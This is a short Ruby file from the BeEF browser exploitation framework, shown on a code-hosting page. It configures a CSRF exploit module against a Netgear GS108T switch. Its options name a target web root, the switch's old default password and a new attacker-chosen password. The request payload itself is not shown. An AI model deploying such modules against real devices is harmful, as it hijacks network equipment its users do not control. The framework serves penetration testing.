Files
beef/modules/exploits/switch/netgear_gs108t_csrf/module.rb
2014-12-30 07:44:58 +10:00

21 lines
633 B
Ruby

#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Netgear_gs108t_csrf < BeEF::Core::Command
def self.options
return [
{'name' => 'base', 'ui_label' => 'Switch web root', 'value' => 'http://192.168.0.239/'},
{'name' => 'oldpassword', 'ui_label' => 'Old Password', 'value' => 'password'},
{'name' => 'newpassword', 'ui_label' => 'Desired password', 'value' => '__BeEF__'}
]
end
def post_execute
save({'result' => @datastore['result']})
end
end